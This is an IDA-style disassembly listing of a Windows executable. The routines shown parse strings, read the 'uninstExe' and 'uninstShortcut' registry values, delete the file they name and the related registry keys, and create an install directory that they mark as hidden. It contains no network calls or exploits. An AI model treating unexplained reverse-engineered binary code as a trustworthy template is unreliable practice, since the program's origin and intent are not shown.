		push	ebx
		mov	ebx, [esp+4+arg_1000]
		push	ebp
		push	esi
		mov	al, [ebx]
		push	edi
		cmp	al, 3Dh
		mov	esi, ecx
		jnz	loc_403651
		mov	eax, [esi]
		mov	cl, [eax]
		push	ecx
		mov	ecx, esi
		call	sub_401F80
		mov	ebp, ds:CharNextA
		test	eax, eax
		jz	short loc_40354C


loc_403537:				; CODE XREF: sub_403500+4Aj
		mov	edx, [esi]
		push	edx		; lpsz
		call	ebp ; CharNextA
		mov	[esi], eax
		mov	al, [eax]
		push	eax
		mov	ecx, esi
		call	sub_401F80
		test	eax, eax
		jnz	short loc_403537


loc_40354C:				; CODE XREF: sub_403500+35j
		mov	ecx, [esi]
		mov	al, [ecx]
		test	al, al
		jz	loc_40361C
		cmp	al, 27h
		jnz	loc_4035EA
		push	ecx		; lpsz
		call	ebp ; CharNextA
		mov	[esi], eax
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4035BA


loc_40356B:				; CODE XREF: sub_403500+B8j
		mov	eax, [esi]
		cmp	byte ptr [eax],	27h
		jnz	short loc_40357A
		push	eax		; lpsz
		call	ebp ; CharNextA
		cmp	byte ptr [eax],	27h
		jnz	short loc_4035BA


loc_40357A:				; CODE XREF: sub_403500+70j
		mov	eax, [esi]
		cmp	byte ptr [eax],	27h
		jnz	short loc_403586
		push	eax		; lpsz
		call	ebp ; CharNextA
		mov	[esi], eax


loc_403586:				; CODE XREF: sub_403500+7Fj
		mov	edi, [esi]
		push	edi		; lpsz
		call	ebp ; CharNextA
		mov	ecx, [esp+10h+arg_1000]
		lea	edx, [ebx+2]
		add	ecx, 1000h
		mov	[esi], eax
		cmp	edx, ecx
		jnb	short loc_40361C
		cmp	edi, eax
		jnb	short loc_4035B3
		mov	eax, edi


loc_4035A7:				; CODE XREF: sub_403500+B1j
		mov	cl, [eax]
		inc	eax
		mov	[ebx], cl
		mov	ecx, [esi]
		inc	ebx
		cmp	eax, ecx
		jb	short loc_4035A7


loc_4035B3:				; CODE XREF: sub_403500+A3j
		mov	edx, [esi]
		cmp	byte ptr [edx],	0
		jnz	short loc_40356B


loc_4035BA:				; CODE XREF: sub_403500+69j
					; sub_403500+78j
		mov	eax, [esi]
		cmp	byte ptr [eax],	0
		jz	short loc_40361C
		mov	byte ptr [ebx],	0
		mov	ecx, [esi]
		push	ecx		; lpsz


loc_4035C7:				; CODE XREF: sub_403500+E8j
		call	ebp ; CharNextA
		mov	[esi], eax


loc_4035CB:				; CODE XREF: sub_403500+11Aj
		mov	eax, [esi]
		movsx	ecx, byte ptr [eax]
		add	ecx, 0FFFFFFF7h
		cmp	ecx, 17h	; switch 24 cases
		ja	short loc_40362E ; default
					; jumptable 004035E0 cases 2,3,5-22
		xor	edx, edx
		mov	dl, ds:byte_403668[ecx]
		jmp	ds:off_403660[edx*4] ; switch jump


loc_4035E7:				; DATA XREF: .text:off_403660o
		push	eax		; jumptable 004035E0 cases 0,1,4,23
		jmp	short loc_4035C7
; ---------------------------------------------------------------------------


loc_4035EA:				; CODE XREF: sub_403500+5Aj
					; sub_403500+115j
		push	eax
		mov	ecx, esi
		call	sub_401F80
		test	eax, eax
		jnz	short loc_403617
		mov	edi, [esi]
		push	edi		; lpsz
		call	ebp ; CharNextA
		cmp	edi, eax
		mov	[esi], eax
		jnb	short loc_40360F
		mov	eax, edi


loc_403603:				; CODE XREF: sub_403500+10Dj
		mov	dl, [eax]
		inc	eax
		mov	[ebx], dl
		mov	ecx, [esi]
		inc	ebx
		cmp	eax, ecx
		jb	short loc_403603


loc_40360F:				; CODE XREF: sub_403500+FFj
		mov	eax, [esi]
		mov	al, [eax]
		test	al, al
		jnz	short loc_4035EA


loc_403617:				; CODE XREF: sub_403500+F4j
		mov	byte ptr [ebx],	0
		jmp	short loc_4035CB
; ---------------------------------------------------------------------------


loc_40361C:				; CODE XREF: sub_403500+52j
					; sub_403500+9Fj ...
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 80020009h
		pop	ebx
		add	esp, 1000h
		retn	4
; ---------------------------------------------------------------------------


loc_40362E:				; CODE XREF: sub_403500+D6j
					; sub_403500+E0j
					; DATA XREF: ...
		lea	eax, [esp+10h]	; default
					; jumptable 004035E0 cases 2,3,5-22
		mov	ecx, esi
		push	eax
		call	sub_402020
		test	eax, eax
		jl	short loc_403653
		mov	ecx, [esp+10h+arg_1000]
		push	ecx
		mov	ecx, esi
		call	sub_402020
		test	eax, eax
		jl	short loc_403653


loc_403651:				; CODE XREF: sub_403500+1Bj
		xor	eax, eax


loc_403653:				; CODE XREF: sub_403500+13Cj
					; sub_403500+14Fj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1000h
		retn	4
sub_403500	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
off_403660	dd offset loc_4035E7	; DATA XREF: sub_403500+E0r
		dd offset loc_40362E	; jump table for switch	statement
byte_403668	db	0,     0,     1,     1 ; DATA XREF: sub_403500+DAr
		db	0,     1,     1,     1 ; indirect table	for switch statement
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	1,     1,     1,     0

; =============== S U B	R O U T	I N E =======================================



sub_403680	proc near		; CODE XREF: sub_4010C0+3A4p
		mov	eax, ecx
		xor	ecx, ecx
		mov	[eax+4], ecx
		mov	[eax+18h], ecx
		retn
sub_403680	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_403690(int,LPCSTR lpsz)

sub_403690	proc near		; CODE XREF: sub_4010C0+141p
					; sub_4010C0+17Ap

arg_0		= dword	ptr  4
lpsz		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		test	esi, esi
		jz	short loc_4036CA
		mov	ebx, [esp+0Ch+lpsz]
		mov	edi, ds:CharNextA


loc_4036A5:				; CODE XREF: sub_403690+38j
		cmp	byte ptr [esi],	0
		jz	short loc_4036CA
		test	ebx, ebx
		mov	eax, ebx
		jz	short loc_4036C1


loc_4036B0:				; CODE XREF: sub_403690+2Fj
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4036C1
		cmp	[esi], cl
		jz	short loc_4036D0
		push	eax		; lpsz
		call	edi ; CharNextA
		test	eax, eax
		jnz	short loc_4036B0


loc_4036C1:				; CODE XREF: sub_403690+1Ej
					; sub_403690+24j
		push	esi		; lpsz
		call	edi ; CharNextA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4036A5


loc_4036CA:				; CODE XREF: sub_403690+9j
					; sub_403690+18j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4036D0:				; CODE XREF: sub_403690+28j
		push	esi		; lpsz
		call	edi ; CharNextA
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403690	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4036E0(HINSTANCE hInstance)

sub_4036E0	proc near		; CODE XREF: sub_4010C0+37Ap

var_B38		= byte ptr -0B38h
FileName	= byte ptr -738h
String		= byte ptr -338h
Data		= byte ptr -138h
bstrString	= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_E		= byte ptr -0Eh
Type		= dword	ptr -0Ch
hKey		= dword	ptr -8
cbData		= dword	ptr -4
hInstance	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B38h
		mov	ecx, [ebp+hInstance]
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+String]
		push	200h		; cchBufferMax
		push	eax		; lpBuffer
		xor	ebx, ebx
		push	71h		; uID
		push	ecx		; hInstance
		mov	[ebp+bstrString], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], ebx
		mov	[ebp+var_2C], bl
		mov	[ebp+var_E], bl
		call	ds:LoadStringA	; LoadStringA
		mov	edx, [ebp+bstrString]
		mov	esi, eax
		push	edx		; bstrString
		call	ds:SysFreeString
		cmp	esi, ebx
		jz	short loc_40377E
		lea	eax, [ebp+String]
		test	eax, eax
		jnz	short loc_40373D
		xor	edi, edi
		push	edi		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_403781
; ---------------------------------------------------------------------------


loc_40373D:				; CODE XREF: sub_4036E0+4Dj
		lea	ecx, [ebp+String]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	edi, esp
		push	esi		; cchWideChar
		push	edi		; lpWideCharStr
		lea	edx, [ebp+String]
		push	0FFFFFFFFh	; cbMultiByte
		push	edx		; lpMultiByteStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		mov	[edi], bx
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		push	edi		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_403781
; ---------------------------------------------------------------------------


loc_40377E:				; CODE XREF: sub_4036E0+43j
		mov	[ebp+bstrString], ebx


loc_403781:				; CODE XREF: sub_4036E0+5Bj
					; sub_4036E0+9Cj
		mov	eax, offset MultiByteStr ; "\\"
		test	eax, eax
		jnz	short loc_40378E
		xor	edi, edi
		jmp	short loc_4037BF
; ---------------------------------------------------------------------------


loc_40378E:				; CODE XREF: sub_4036E0+A8j
		push	offset MultiByteStr ; "\\"
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	edi, esp
		push	esi		; cchWideChar
		push	edi		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	offset MultiByteStr ; "\\"
		push	ebx		; dwFlags
		push	ebx		; CodePage
		mov	[edi], bx
		call	ds:MultiByteToWideChar	; MultiByteToWideChar


loc_4037BF:				; CODE XREF: sub_4036E0+ACj
		push	edi		; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	edi
		lea	ecx, [ebp+bstrString]
		call	sub_403920
		mov	ecx, [ebp+hInstance]
		push	7Ah		; bstrString
		push	ecx		; hInstance
		lea	ecx, [ebp+bstrString]
		call	sub_40A840
		lea	edx, [ebp+hKey]
		lea	ecx, [ebp+bstrString]
		push	edx		; phkResult
		push	20019h		; samDesired
		push	ebx		; ulOptions
		call	sub_40A2D0
		push	eax		; lpSubKey
		push	80000001h	; hKey
		call	ds:RegOpenKeyExA	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_4038D4
		mov	edx, [ebp+hKey]
		mov	esi, ds:RegQueryValueExA
		lea	eax, [ebp+cbData]
		lea	ecx, [ebp+Type]
		push	eax		; lpcbData
		push	ebx		; lpData
		push	ecx		; lpType
		push	ebx		; lpReserved
		push	offset ValueName ; "uninstExe"
		push	edx		; hKey
		call	esi ; RegQueryValueExA
		test	eax, eax
		jnz	short loc_403864
		lea	eax, [ebp+cbData]
		lea	ecx, [ebp+Data]
		push	eax		; lpcbData
		mov	eax, [ebp+hKey]
		lea	edx, [ebp+Type]
		push	ecx		; lpData
		push	edx		; lpType
		push	ebx		; lpReserved
		push	offset ValueName ; "uninstExe"
		push	eax		; hKey
		call	esi ; RegQueryValueExA
		mov	ecx, [ebp+cbData]
		lea	edx, [ebp+Data]
		push	ecx
		lea	eax, [ebp+var_B38]
		push	edx
		push	eax
		call	sub_40B070
		mov	ecx, [ebp+cbData]
		add	esp, 0Ch
		mov	[ebp+ecx+var_B38], bl
		jmp	short loc_40386A
; ---------------------------------------------------------------------------


loc_403864:				; CODE XREF: sub_4036E0+141j
		mov	[ebp+var_B38], bl


loc_40386A:				; CODE XREF: sub_4036E0+182j
		mov	ecx, [ebp+hKey]
		lea	edx, [ebp+cbData]
		push	edx		; lpcbData
		lea	eax, [ebp+Type]
		push	ebx		; lpData
		push	eax		; lpType
		push	ebx		; lpReserved
		push	offset aUninstshortcut ; "uninstShortcut"
		push	ecx		; hKey
		call	esi ; RegQueryValueExA
		test	eax, eax
		jnz	short loc_4038C4
		lea	edx, [ebp+cbData]
		lea	eax, [ebp+Data]
		push	edx		; lpcbData
		mov	edx, [ebp+hKey]
		lea	ecx, [ebp+Type]
		push	eax		; lpData
		push	ecx		; lpType
		push	ebx		; lpReserved
		push	offset aUninstshortcut ; "uninstShortcut"
		push	edx		; hKey
		call	esi ; RegQueryValueExA
		mov	eax, [ebp+cbData]
		lea	ecx, [ebp+Data]
		push	eax
		lea	edx, [ebp+FileName]
		push	ecx
		push	edx
		call	sub_40B070
		mov	eax, [ebp+cbData]
		add	esp, 0Ch
		mov	[ebp+eax+FileName], bl
		jmp	short loc_4038CA
; ---------------------------------------------------------------------------


loc_4038C4:				; CODE XREF: sub_4036E0+1A1j
		mov	[ebp+FileName],	bl


loc_4038CA:				; CODE XREF: sub_4036E0+1E2j
		mov	ecx, [ebp+hKey]
		push	ecx		; hKey
		call	ds:RegCloseKey	; RegCloseKey


loc_4038D4:				; CODE XREF: sub_4036E0+11Ej
		lea	edi, [ebp+FileName]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		jz	short loc_4038F3
		lea	edx, [ebp+FileName]
		push	edx		; lpFileName
		call	ds:DeleteFileA	; DeleteFileA


loc_4038F3:				; CODE XREF: sub_4036E0+204j
		lea	ecx, [ebp+bstrString]
		call	sub_40A2D0
		mov	esi, ds:RegDeleteKeyA
		push	eax		; lpSubKey
		push	80000001h	; hKey
		call	esi ; RegDeleteKeyA
		push	offset SubKey	; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h	; hKey
		call	esi ; RegDeleteKeyA
		push	ebx		; uExitCode
		call	sub_40AF9F
		nop
		nop
		nop
		nop
		nop
sub_4036E0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_403920	proc near		; CODE XREF: sub_4036E0+EBp
					; sub_4039C0+141p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		mov	eax, [ebp+0]
		test	eax, eax
		jnz	short loc_403931
		xor	esi, esi
		jmp	short loc_40393A
; ---------------------------------------------------------------------------


loc_403931:				; CODE XREF: sub_403920+Bj
		push	eax		; BSTR
		call	ds:SysStringLen
		mov	esi, eax


loc_40393A:				; CODE XREF: sub_403920+Fj
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax		; ui
		push	0		; strIn
		mov	[esp+18h+var_4], eax
		call	ds:SysAllocStringLen
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_40395F
		pop	esi
		pop	ebp
		mov	eax, 8007000Eh
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_40395F:				; CODE XREF: sub_403920+31j
		lea	eax, [esi+esi]
		mov	esi, [ebp+0]
		mov	ecx, eax
		push	edi
		mov	edx, ecx
		mov	edi, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+14h+arg_4]
		mov	esi, [esp+14h+arg_0]
		add	ecx, ecx
		lea	edi, [eax+ebx]
		mov	edx, ecx
		mov	eax, [esp+14h+var_4]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	word ptr [ebx+eax*2], 0
		mov	ecx, [ebp+0]
		push	ecx		; bstrString
		call	ds:SysFreeString
		pop	edi
		mov	[ebp+0], ebx
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		pop	ecx
		retn	8
sub_403920	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4039C0(HINSTANCE hInstance,LPCSTR lpString)

sub_4039C0	proc near		; CODE XREF: sub_4010C0+38Dp

psz		= byte ptr -398h
var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_16E		= byte ptr -16Eh
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= byte ptr -160h
var_142		= byte ptr -142h
dwDisposition	= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_112		= byte ptr -112h
bstrString	= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_E6		= byte ptr -0E6h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_DC		= dword	ptr -0DCh
var_D8		= byte ptr -0D8h
var_BA		= byte ptr -0BAh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= byte ptr -0ACh
var_8E		= byte ptr -8Eh
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
var_62		= byte ptr -62h
var_60		= dword	ptr -60h
lpMem		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_36		= byte ptr -36h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_A		= byte ptr -0Ah
lpMultiByteStr	= dword	ptr -8
hKey		= dword	ptr -4
hInstance	= dword	ptr  8
lpString	= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 398h
		mov	ecx, [ebp+hInstance]
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+psz]
		push	200h		; cchBufferMax
		push	eax		; lpBuffer
		xor	ebx, ebx
		push	71h		; uID
		push	ecx		; hInstance
		mov	[ebp+var_E4], ebx
		mov	[ebp+var_E0], ebx
		mov	[ebp+var_DC], ebx
		mov	[ebp+var_D8], bl
		mov	[ebp+var_BA], bl
		mov	[ebp+var_16C], ebx
		mov	[ebp+var_168], ebx
		mov	[ebp+var_164], ebx
		mov	[ebp+var_160], bl
		mov	[ebp+var_142], bl
		mov	[ebp+bstrString], ebx
		mov	[ebp+var_10C], ebx
		mov	[ebp+var_108], ebx
		mov	[ebp+var_104], bl
		mov	[ebp+var_E6], bl
		call	ds:LoadStringA	; LoadStringA
		mov	edx, [ebp+bstrString]
		mov	esi, eax
		push	edx		; bstrString
		call	ds:SysFreeString
		cmp	esi, ebx
		jz	short loc_403AB1
		lea	eax, [ebp+psz]
		test	eax, eax
		jnz	short loc_403A72
		mov	edi, ds:lstrlenA
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_403ABD
; ---------------------------------------------------------------------------


loc_403A72:				; CODE XREF: sub_4039C0+9Bj
		mov	edi, ds:lstrlenA
		lea	ecx, [ebp+psz]
		push	ecx		; lpString
		call	edi ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	ebx		; CodePage
		lea	edx, [ebp+psz]
		push	esi		; cchWideChar
		push	edx		; lpMultiByteStr
		push	eax		; lpWideCharStr
		call	sub_401560
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_403ABD
; ---------------------------------------------------------------------------


loc_403AB1:				; CODE XREF: sub_4039C0+91j
		mov	edi, ds:lstrlenA
		mov	[ebp+bstrString], ebx


loc_403ABD:				; CODE XREF: sub_4039C0+B0j
					; sub_4039C0+EFj
		mov	eax, offset MultiByteStr ; "\\"
		test	eax, eax
		jnz	short loc_403ACA
		xor	esi, esi
		jmp	short loc_403AF2
; ---------------------------------------------------------------------------


loc_403ACA:				; CODE XREF: sub_4039C0+104j
		push	offset MultiByteStr ; "\\"
		call	edi ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	ebx		; CodePage
		push	esi		; cchWideChar
		push	offset MultiByteStr ; "\\"
		push	eax		; lpWideCharStr
		call	sub_401560
		mov	esi, eax


loc_403AF2:				; CODE XREF: sub_4039C0+108j
		push	esi		; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	esi
		lea	ecx, [ebp+bstrString]
		call	sub_403920
		mov	ecx, [ebp+hInstance]
		push	7Ah		; bstrString
		push	ecx		; hInstance
		lea	ecx, [ebp+bstrString]
		call	sub_40A840
		mov	esi, [ebp+lpString]
		mov	[ebp+var_198], ebx
		mov	[ebp+var_194], ebx
		mov	[ebp+var_190], ebx
		mov	al, [esi]
		mov	[ebp+var_18C], bl
		cmp	al, 22h
		mov	[ebp+var_16E], bl
		jnz	short loc_403B42
		inc	esi
		mov	[ebp+lpString],	esi


loc_403B42:				; CODE XREF: sub_4039C0+17Cj
		mov	cl, [esi]
		mov	eax, esi
		cmp	cl, bl
		jz	short loc_403B57


loc_403B4A:				; CODE XREF: sub_4039C0+195j
		cmp	cl, 22h
		jz	short loc_403B57
		mov	cl, [eax+1]
		inc	eax
		cmp	cl, bl
		jnz	short loc_403B4A


loc_403B57:				; CODE XREF: sub_4039C0+188j
					; sub_4039C0+18Dj
		sub	eax, esi
		lea	ecx, [ebp+var_13C]
		push	eax		; int
		push	esi		; lpString2
		mov	[ebp+var_13C], ebx
		mov	[ebp+var_138], ebx
		mov	[ebp+var_134], ebx
		mov	[ebp+var_130], bl
		mov	[ebp+var_112], bl
		call	sub_40A350
		mov	eax, [ebp+hInstance]
		lea	edx, [ebp+psz]
		push	200h		; cchBufferMax
		push	edx		; lpBuffer
		push	7Ah		; uID
		push	eax		; hInstance
		mov	[ebp+var_B8], ebx
		mov	[ebp+var_B4], ebx
		mov	[ebp+var_B0], ebx
		mov	[ebp+var_AC], bl
		mov	[ebp+var_8E], bl
		call	ds:LoadStringA	; LoadStringA
		mov	ecx, [ebp+var_B8]
		mov	[ebp+lpMultiByteStr], eax
		push	ecx		; bstrString
		call	ds:SysFreeString
		cmp	[ebp+lpMultiByteStr], ebx
		jz	short loc_403C26
		lea	edx, [ebp+psz]
		test	edx, edx
		jnz	short loc_403BEA
		xor	eax, eax
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+var_B8], eax
		jmp	short loc_403C2C
; ---------------------------------------------------------------------------


loc_403BEA:				; CODE XREF: sub_4039C0+217j
		lea	eax, [ebp+psz]
		push	eax		; lpString
		call	edi ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	ebx		; CodePage
		lea	ecx, [ebp+psz]
		push	esi		; cchWideChar
		push	ecx		; lpMultiByteStr
		push	eax		; lpWideCharStr
		call	sub_401560
		mov	esi, [ebp+lpString]
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+var_B8], eax
		jmp	short loc_403C2C
; ---------------------------------------------------------------------------


loc_403C26:				; CODE XREF: sub_4039C0+20Dj
		mov	[ebp+var_B8], ebx


loc_403C2C:				; CODE XREF: sub_4039C0+228j
					; sub_4039C0+264j
		push	2Bh		; lpString
		lea	ecx, [ebp+var_8C]
		mov	[ebp+var_8C], ebx
		mov	[ebp+var_88], ebx
		mov	[ebp+var_84], ebx
		mov	[ebp+var_80], bl
		mov	[ebp+var_62], bl
		call	sub_40A680
		cmp	al, 1
		jz	short loc_403CCC
		push	26h		; lpString
		lea	ecx, [ebp+var_8C]
		call	sub_40A680
		cmp	al, 1
		jz	short loc_403CCC
		mov	edx, off_40F284
		mov	eax, off_40F280
		push	edx		; lpValueName
		push	eax		; lpSubKey
		push	80000002h	; cbData
		lea	ecx, [ebp+var_8C]
		call	sub_40A460
		cmp	al, 1
		jz	short loc_403CCC
		cmp	byte ptr [esi+1], 3Ah
		jnz	short loc_403C9D
		push	3		; int
		push	esi		; lpString2
		lea	ecx, [ebp+var_8C]
		call	sub_40A350
		jmp	short loc_403D15
; ---------------------------------------------------------------------------


loc_403C9D:				; CODE XREF: sub_4039C0+2CBj
		mov	ecx, offset aC	; "c:\\"
		test	ecx, ecx
		jnz	short loc_403CAA
		xor	esi, esi
		jmp	short loc_403D01
; ---------------------------------------------------------------------------


loc_403CAA:				; CODE XREF: sub_4039C0+2E4j
		push	offset aC	; "c:\\"
		call	edi ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	ebx
		push	esi
		push	offset aC	; "c:\\"
		jmp	short loc_403CF9
; ---------------------------------------------------------------------------


loc_403CCC:				; CODE XREF: sub_4039C0+293j
					; sub_4039C0+2A4j ...
		mov	edx, offset MultiByteStr ; "\\"
		test	edx, edx
		jnz	short loc_403CD9
		xor	esi, esi
		jmp	short loc_403D01
; ---------------------------------------------------------------------------


loc_403CD9:				; CODE XREF: sub_4039C0+313j
		push	offset MultiByteStr ; "\\"
		call	edi ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	ebx		; CodePage
		push	esi		; cchWideChar
		push	offset MultiByteStr ; "\\"


loc_403CF9:				; CODE XREF: sub_4039C0+30Aj
		push	eax		; lpWideCharStr
		call	sub_401560
		mov	esi, eax


loc_403D01:				; CODE XREF: sub_4039C0+2E8j
					; sub_4039C0+317j
		push	esi		; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	esi
		lea	ecx, [ebp+var_8C]
		call	sub_403920


loc_403D15:				; CODE XREF: sub_4039C0+2DBj
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], ebx
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], bl
		mov	[ebp+var_A], bl
		mov	[ebp+lpString],	ebx


loc_403D27:				; CODE XREF: sub_4039C0+58Fj
		mov	eax, [ebp+var_34]
		push	eax		; bstrString
		call	ds:SysFreeString
		mov	ecx, [ebp+var_8C]
		mov	[ebp+var_34], ebx
		push	ecx		; BSTR
		call	ds:SysStringLen
		mov	edx, [ebp+var_8C]
		push	eax
		push	edx
		lea	ecx, [ebp+var_34]
		call	sub_403920
		mov	esi, lpString
		cmp	esi, ebx
		jnz	short loc_403D5F
		xor	esi, esi
		jmp	short loc_403D85
; ---------------------------------------------------------------------------


loc_403D5F:				; CODE XREF: sub_4039C0+399j
		push	esi		; lpString
		call	edi ; lstrlenA
		mov	edi, eax
		inc	edi
		lea	eax, [edi+edi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	ebx		; CodePage
		push	edi		; cchWideChar
		push	esi		; lpMultiByteStr
		push	eax		; lpWideCharStr
		call	sub_401560
		mov	edi, ds:lstrlenA
		mov	esi, eax


loc_403D85:				; CODE XREF: sub_4039C0+39Dj
		push	esi		; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	esi
		lea	ecx, [ebp+var_34]
		call	sub_403920
		cmp	[ebp+lpString],	ebx
		jle	short loc_403DF3
		mov	eax, offset a_	; "."
		test	eax, eax
		jnz	short loc_403DA8
		xor	esi, esi
		jmp	short loc_403DD6
; ---------------------------------------------------------------------------


loc_403DA8:				; CODE XREF: sub_4039C0+3E2j
		push	offset a_	; "."
		call	edi ; lstrlenA
		mov	edi, eax
		inc	edi
		lea	eax, [edi+edi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	ebx		; CodePage
		push	edi		; cchWideChar
		push	offset a_	; "."
		push	eax		; lpWideCharStr
		call	sub_401560
		mov	edi, ds:lstrlenA
		mov	esi, eax


loc_403DD6:				; CODE XREF: sub_4039C0+3E6j
		push	esi		; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	esi
		lea	ecx, [ebp+var_34]
		call	sub_403920
		mov	ecx, [ebp+lpString]
		push	ecx		; lpString
		lea	ecx, [ebp+var_34]
		call	sub_40A980


loc_403DF3:				; CODE XREF: sub_4039C0+3D9j
		lea	ecx, [ebp+var_34]
		call	sub_40A2D0
		mov	esi, ds:GetFileAttributesA
		push	eax		; lpFileName
		call	esi ; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403E2F
		lea	ecx, [ebp+var_34]
		call	sub_40A2D0
		push	eax		; lpPathName
		call	sub_40B16E
		add	esp, 4
		test	eax, eax
		jnz	loc_403F45
		lea	ecx, [ebp+var_34]
		call	sub_40A2D0
		push	eax		; lpFileName
		call	esi ; GetFileAttributesA
		jmp	short loc_403E37
; ---------------------------------------------------------------------------


loc_403E2F:				; CODE XREF: sub_4039C0+447j
		test	al, 10h
		jz	loc_403F45


loc_403E37:				; CODE XREF: sub_4039C0+46Dj
		or	al, 2
		lea	ecx, [ebp+var_34]
		push	eax		; dwFileAttributes
		call	sub_40A2D0
		push	eax		; lpFileName
		call	ds:SetFileAttributesA	; SetFileAttributesA
		mov	edx, offset MultiByteStr ; "\\"
		test	edx, edx
		jnz	short loc_403E56
		xor	esi, esi
		jmp	short loc_403E84
; ---------------------------------------------------------------------------


loc_403E56:				; CODE XREF: sub_4039C0+490j
		push	offset MultiByteStr ; "\\"
		call	edi ; lstrlenA
		mov	edi, eax
		inc	edi
		lea	eax, [edi+edi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	ebx		; CodePage
		push	edi		; cchWideChar
		push	offset MultiByteStr ; "\\"
		push	eax		; lpWideCharStr
		call	sub_401560
		mov	edi, ds:lstrlenA
